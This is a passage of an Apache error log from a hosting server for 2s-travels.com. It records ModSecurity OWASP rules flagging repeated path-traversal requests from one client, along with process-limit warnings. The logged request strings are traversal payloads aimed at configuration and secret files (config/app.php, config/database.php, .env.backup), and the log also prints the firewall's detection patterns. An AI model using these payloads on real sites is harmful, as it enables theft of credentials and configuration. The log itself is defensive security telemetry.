/?page=../../config/app.php&token=oanbzvfdttumwiqaazm5ok2qgqjwccjv_zvewyg4jbvogyykhdn7jpbjf5azv61hzyr-in-kegsezl8wzty63jzbqgoqwnxvkhpdoesw-m1wrfrix5tutut6vxyow4ys2xvlpb06avku5-fvgaobgg4xxz3guyhcdin0dukqhet54r1slfigmldaiiidtkh7jdizr8wuzjvfchacmu0mnrdjsb0rhzzew7ijrmf8mdpfmdjush__1-xxkvwmybnxbfl5phoi4dhxvni7i-51fn8r&ref=ffgjwnnmz447aski4dq566mkmu5oy3fv34mnr44iavrh2uyidnac43hypugagsoeupeyliv7p3unzovh43v6g7hbnzsgmddawqktf44tocka46gk5iaf4whxegp6dk7qujpk6wh4ap5c6mw3s..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBKgAAABs"]
[Fri Jul 17 08:55:04.318376 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBKgAAABs"]
[Fri Jul 17 08:55:04.318399 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBKgAAABs"]
[Fri Jul 17 08:55:04.318474 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:page: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBKgAAABs"]
[Fri Jul 17 08:55:04.318532 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBJwAAAAY"]
[Fri Jul 17 08:55:04.318598 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zQAAAAAE"]
[Fri Jul 17 08:55:04.318661 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zQAAAAAE"]
[Fri Jul 17 08:55:04.318681 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.318760 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:page: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zQAAAAAE"]
[Fri Jul 17 08:55:04.318996 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkA5GPQ6hs4VrfMpBJwAAAAY"]
[Fri Jul 17 08:55:04.319669 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBKgAAABs"]
[Fri Jul 17 08:55:04.319795 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.320064 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkKquHSHoCJK_V0SBKgAAABs"]
[Fri Jul 17 08:55:04.320451 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zQAAAAAE"]
[Fri Jul 17 08:55:04.320610 2026] [hostinglimits:warn] [pid 2023579:tid 2023579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2023579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.320714 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBgwAAAAQ"]
[Fri Jul 17 08:55:04.320750 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBgwAAAAQ"]
[Fri Jul 17 08:55:04.321083 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkOYpb_TFRze2EO3zQAAAAAE"]
[Fri Jul 17 08:55:04.321849 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBgwAAAAQ"]
[Fri Jul 17 08:55:04.321962 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.322254 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkLoj0IkvhSCYadmBgwAAAAQ"]
[Fri Jul 17 08:55:04.330884 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBKwAAABs"]
[Fri Jul 17 08:55:04.330929 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBKwAAABs"]
[Fri Jul 17 08:55:04.330999 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:page: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBKwAAABs"]
[Fri Jul 17 08:55:04.332172 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBKwAAABs"]
[Fri Jul 17 08:55:04.332305 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.332590 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkKquHSHoCJK_V0SBKwAAABs"]
[Fri Jul 17 08:55:04.338260 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?page=..%2F..%2Fconfig%2Fdatabase.php&cb=8G-kEZ7U-qBO1VAbCHfQcEksxmObPracdIqJyAYAabyh1DU-PaqA3wRf0AwYaF9L7BV3bpSu9wgViEdT-cTuHvitsZZEM2RnqndrzjS95o9Snnd6MhmJwEisrTyljQaMENV6qyr24wtGXBoHWa336hRwtrf_wY2FTiCucKyZxsH8N9kRxaXTI_qW8WnRdASAZqp5zh1nIWFbngP8XQHFqU5QGkvNExmH58TFvwyN6X8UB8KAYLf9VDCXzf4CmwKIhxwIMBmA1Atw8ytTXUIg5JIc&token=DVNC5ZXDZAQWX3OP3XNP7Z6N3MRSGXMGXNZG4F2J46C5YSUYDCLB7WY535SBNTZGI57BJ5JZQPVY747OX4IQKRHEFW4MVVHYOBOK6EJX7LGZC6YDHOPJJCS5RU4KTES..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBKAAAAAY"]
[Fri Jul 17 08:55:04.338315 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBKAAAAAY"]
[Fri Jul 17 08:55:04.338363 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?page=../../config/database.php&cb=8G-kEZ7U-qBO1VAbCHfQcEksxmObPracdIqJyAYAabyh1DU-PaqA3wRf0AwYaF9L7BV3bpSu9wgViEdT-cTuHvitsZZEM2RnqndrzjS95o9Snnd6MhmJwEisrTyljQaMENV6qyr24wtGXBoHWa336hRwtrf_wY2FTiCucKyZxsH8N9kRxaXTI_qW8WnRdASAZqp5zh1nIWFbngP8XQHFqU5QGkvNExmH58TFvwyN6X8UB8KAYLf9VDCXzf4CmwKIhxwIMBmA1Atw8ytTXUIg5JIc&token=DVNC5ZXDZAQWX3OP3XNP7Z6N3MRSGXMGXNZG4F2J46C5YSUYDCLB7WY535SBNTZGI57BJ5JZQPVY747OX4IQKRHEFW4MVVHYOBOK6EJX7LGZC6YDHOPJJCS5RU4KTESOIZOQU5TRMMTHO..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBKAAAAAY"]
[Fri Jul 17 08:55:04.338416 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?page=../../config/database.php&cb=8g-kez7u-qbo1vabchfqceksxmobpracdiqjyayaabyh1du-paqa3wrf0awyaf9l7bv3bpsu9wgviedt-ctuhvitszzem2rnqndrzjs95o9snnd6mhmjweisrtyljqamenv6qyr24wtgxbohwa336hrwtrf_wy2fticuckyzxsh8n9krxaxti_qw8wnrdasazqp5zh1niwfbngp8xqhfqu5qgkvnexmh58tfvwyn6x8ub8kaylf9vdcxzf4cmwkihxwimbma1atw8yttxuig5jic&token=dvnc5zxdzaqwx3op3xnp7z6n3mrsgxmgxnzg4f2j46c5ysuydclb7wy535sbntzgi57bj5jzqpvy747ox4iqkrhefw4mvvhyobok6ejx7lgzc6ydhopjjcs5ru4ktesoizoqu5trmmtho..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBKAAAAAY"]
[Fri Jul 17 08:55:04.338441 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBKAAAAAY"]
[Fri Jul 17 08:55:04.338468 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBKAAAAAY"]
[Fri Jul 17 08:55:04.338535 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:page: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBKAAAAAY"]
[Fri Jul 17 08:55:04.339723 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBKAAAAAY"]
[Fri Jul 17 08:55:04.339890 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
